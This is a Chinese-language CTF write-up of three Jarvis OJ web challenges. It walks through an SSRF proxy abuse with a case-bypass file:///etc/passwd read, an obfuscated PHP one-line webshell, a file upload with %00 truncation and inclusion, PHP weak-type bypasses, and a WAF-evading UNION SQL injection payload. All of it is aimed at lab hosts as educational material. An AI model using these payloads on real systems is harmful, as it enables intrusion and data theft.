Jarviso Web 部分Write Up

Jarvisoj平台部分WriteUP

1.菜刀

http://web.jarvisoj.com:32782

考点:SSRF,文件包含(非预期)

主页只有一张菜刀图片和管理员登陆链接,点击管理员登陆,跳转至http://web.jarvisoj.com:32782/admin,提示“you are not admin”,遂查看源码,发现提示:


推测服务器通过ip地址识别管理员身份。
返回首页,查看源码,发现菜刀图片链接:

proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg

通过proxy.php可访问外部链接,尝试

proxy.php?url=http://www.baidu.com

成功返回baidu页面。
尝试文件包含:

http://web.jarvisoj.com:32782/proxy.php?url=php://filter/read=convert.base64-encode/resource=index.php

失败。
访问 http://202.5.19.128/,返回403禁止访问,同时说明该ip存在web服务。综合以上信息,构造payload

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

返回“you are closing”

burp爆破网/admin/,发现robots.txt文件

url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/robots%2etxt

返回:

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

查看

url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php.txt

发现一句话木马

"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

本地运行,提示

Warning: assert(): Assertion "eval($_POST[360])" failed in /Applications/MAMP/htdocs/tor.php on line 1  

一句话木马参数为360,发送post数据:“360=phpinfo();”,直接返回了FLAG

flag:CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}

非预期解

使用file://伪协议读本地文件,首先尝试file:///etc/passwd

http://web.jarvisoj.com:32782/proxy.php?url=file:///etc/passwd

返回/etc/passwd,说明file://被过滤,尝试大小写绕过

http://web.jarvisoj.com:32782/proxy.php?url=File:///etc/passwd

回显成功。能够进行本地文件读取,考虑怎么读到之前发现的/admin/目录,尝试使参数报错,暴出绝对路径。

http://web.jarvisoj.com:32782/proxy.php?url=aa

返回报错信息:Notice: Undefined offset: 2 in /opt/lampp/htdocs/proxy.php on line 53,由此获得网站根目录,拼接admin目录:/opt/lampp/htdocs/admin/index.php和index.html

http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/index.php

返回you are closing。同样,爆破目录,发现robot.txt

http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/robots.txt

返回:User-agent: * Disallow:trojan.php Disallow:trojan.php.txt
之后做法与预期解相同。

2.Easy Gallery

http://web.jarvisoj.com:32785

考点:文件上传,文件包含,%00截断后缀

a. Submit页面

只允许上传图片,上传正常jpg文件,通过burp拼接php语句,成功上传。

b. view页面

view页面url:

http://web.jarvisoj.com:32785/index.php?page=view

POST输入id和type后,自动跳转到show页面,可正常显示图片。

http://web.jarvisoj.com:32785/show.php?id=1554777150&type=jpg

网页源码中,找到文件路径


可看出上传成功,且知道文件名,可直接通过该链接http://web.jarvisoj.com:32785/uploads/1554777150.jpg访问图片,但无法用当做php文件解析。

考虑两个点:
1.通过view页面url使用php://filter等方法直接读文件
2.通过文件包含解析“/uploads/1554777150.jpg”中的php代码。

尝试文件包含读源码

http://web.jarvisoj.com:32785/index.php?page=php://filter/read=convert.base64-encode/resource=./index

Cross domain forbidden!

尝试目录穿越:

http://web.jarvisoj.com:32785/index.php?page=../../../../../../etc/passwd

Warning: fopen(../../../../../../etc/passwd.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!

这里曝出了网站根目录,同时发现$GET[page]参数被拼接了.php后缀名。
再次尝试直接读源码:

http://web.jarvisoj.com:32785/index.php?page=/opt/lampp/htdocs/index

You should not do this!

尝试读取上传的jpg

http://web.jarvisoj.com:32785/index.php?page=/opt/lampp/htdocs/index/uploads/1554777150.jpg  

Warning: fopen(uploads/1554777150.jpg.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!

文件路径被拼接为:uploads/1554777150.jpg.php,想到用%00截断php后缀:

http://web.jarvisoj.com:32785/index.php?page=/opt/lampp/htdocs/index/uploads/1554777150.jpg%00

You should not do this!

发现返回内容与直接读取index.php相同,猜测是否使php标签被禁?
上传正常的jpg文件,可以访问成功,验证了php标签被禁的想法,遂更换php标签格式为:


并通过%00截断后缀名实现文件包含

/index.php?page=uploads/1554781165.jpg%00

得到flag
CTF{upl0ad_sh0uld_n07_b3_a110wed}

3.Work Harder

http://web.jarvisoj.com:32780/index.php?id=1

考点:php弱类型,file_get_contents(php://input,r)读取POST数据,%00%00绕过strlen长度判断,sql注入bypass

查看源码,发现index.phps文件,经整理内容如下:

5 
        and eregi("111".substr($b,0,1),"1114") 
        and substr($b,0,1)!=4) 
     { 
        require("flag.txt"); 
     } 
     else { print "work harder!harder!harder!"; } 
?> 

分析源码,当上传参数满足if条件时,能够得到Flag,代码中涉及比较时用的都是“==”,可能存在php弱类型漏洞。 有id、a、b 3个参数需要绕过判断。
在本地搭建环境,输出变量值做测试:

a. id与整数0比较,可直接传字符串绕过

?id=abc

b. 参数a被用作file_get_contents函数的参数,读取的文件内容需为指定字符串,使用php://input绕过

&a=php://input

[postdata] 1112 is a nice lab!

c. 参数b绕过,b为空即可绕过eregi和substr两个判断,但是strlen($b)>5无法绕过,尝试传长度>5的数组,返回值为null。
查找php手册中substr函数说明,发现提示

Note:
strlen() returns the number of bytes rather than the number of characters in a string.

strlen函数计算的是字节数,是否可以用%00和%0a特殊字符绕过,尝试

b=%00%00%00%00%00%00

成功。于是组合payload:

POST /index.php?id=abc&b=%00%00%00%00%00%00&a=php://input

1112 is a nice lab!

返回提示信息:

Come ON!!! {/^HT2mCpcvOLf}

Get请求/^HT2mCpcvOLf路径,跳转至 http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1,加单引号测试,返回sql查询语句如下:

SELECT * FROM content WHERE id=1‘

使用burp爆破waf,使用双写绕过关键词过滤,使用/*1*/绕过空格过滤,使用union注入。最后的payload如下:

http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(id,context,title)/*1*/frfromom/*1*/content#

得到flag:CTF{Fin4lly_U_got_i7_C0ngRatulation5}

你可能感兴趣的:(Jarviso Web 部分Write Up)